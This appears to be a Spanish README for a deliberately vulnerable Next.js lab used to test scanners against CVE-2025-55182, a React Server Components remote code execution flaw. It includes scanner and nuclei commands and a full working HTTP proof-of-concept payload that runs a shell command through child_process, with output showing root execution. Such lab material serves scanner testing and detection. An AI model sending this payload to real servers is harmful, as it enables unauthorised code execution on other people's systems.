abhirajranjan/cve-2025-66478Entorno Next.js intencionalmente vulnerable para probar escáneres de seguridad contra CVE-2025-55182, con exploit PoC y orientación de detección.
Este repositorio proporciona un entorno mínimo intencionalmente vulnerable para probar scanners de seguridad contra las recientes vulnerabilidades críticas de RCE que afectan a React Server Components y Next.js.
[!Warning] Esta configuración es intencionalmente vulnerable y nunca debe exponerse a la internet pública ni usarse en producción.
Esta aplicación es un proyecto Next.js muy pequeño que:
next: 16.0.6react: 19.2.0react-dom: 19.2.0docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
Usa el escáner proporcionado por AssetNote:
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate
python3 scanner.py -u http://127.0.0.1:3000
Devolverá:
╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://127.0.0.1:3000 - Status: 303
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Devolverá:
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
Payload HTTP PoC de aquí.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=------WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Devolverá:
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195
0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
